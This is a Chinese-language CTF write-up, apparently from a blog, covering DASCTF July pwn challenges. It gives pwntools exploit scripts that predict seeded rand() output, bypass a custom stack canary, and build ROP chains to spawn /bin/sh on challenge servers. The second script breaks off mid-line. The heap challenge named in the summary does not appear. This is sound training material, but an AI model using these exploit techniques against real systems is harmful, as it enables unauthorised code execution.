DASCTF 7月赋能赛pwn wp

本文分享了pwn技术在MyCanary2、compact和easyheap三个挑战中的应用,包括利用buf覆盖、栈溢出、canary绕过、堆结构操作和free_hook利用等高级技巧,展示了如何通过精心构造payload获取shell。

pwn

eyfor

1

buf可以覆盖seed,覆盖之后直接可以生成随机数。猜数成功之后可以进入一个栈溢出:

程序自带system函数,同时会将payload strcpy到bss段上,因此可以在payload中附带/bin/sh之后直接调用system(“/bin/sh”)

getshell。

exp:

from pwn import *
import ctypes
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
libc_func = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc_func.srand(10)
sh = process('/mnt/hgfs/ubuntu/das7/pwn4')
sh = remote('node4.buuoj.cn',27445)
sh.sendafter(b'go\n',b'aaa')
for i in range(4):
    sh.sendlineafter(b'message:\n',str(libc_func.rand()).encode())
sh.sendline(str(-1).encode())
pop_rdi  = 0x0000000000400983
# gdb.attach(sh)
payload = b'/bin/sh\x00'+b'a'*0x30+p64(pop_rdi+1)+p64(pop_rdi)+p64(0x6010C0)+p64(0x400680)

sh.sendline(payload)
sh.interactive()

MyCanary2

2

程序自己实现一个canary,canary本身是通过随机数异或而来,不可破解。

不过程序出现了一个逻辑漏洞。

若我们先调用栈溢出之后再调用生成canary则可以直接绕过canary 实现栈溢出。

exp:

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r  = process('/mnt/hgfs/ubuntu/das7/MyCanary2/MyCanary2')
r  = remote('node4.buuoj.cn',28879)


def menu(choice):
    r.recvuntil(b"Input your choice")
    r.sendline(str(choice))

def gogogo(payload):
    menu(1)
    r.recvuntil(b"Show me the code:")
    r.send(payload)


pop_rdi = 0x0000000000401613
system_addr = 0x401120
payload = b'a'*0x68+p32(0)+p32(0)+p64(0)+p64(pop_rdi+1)+p64(pop_rdi)+p64(0x4020F0)+p64(system_addr)
print(payload)
# gdb.attach(r)
gogogo(payload) 
menu(2)
menu(
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值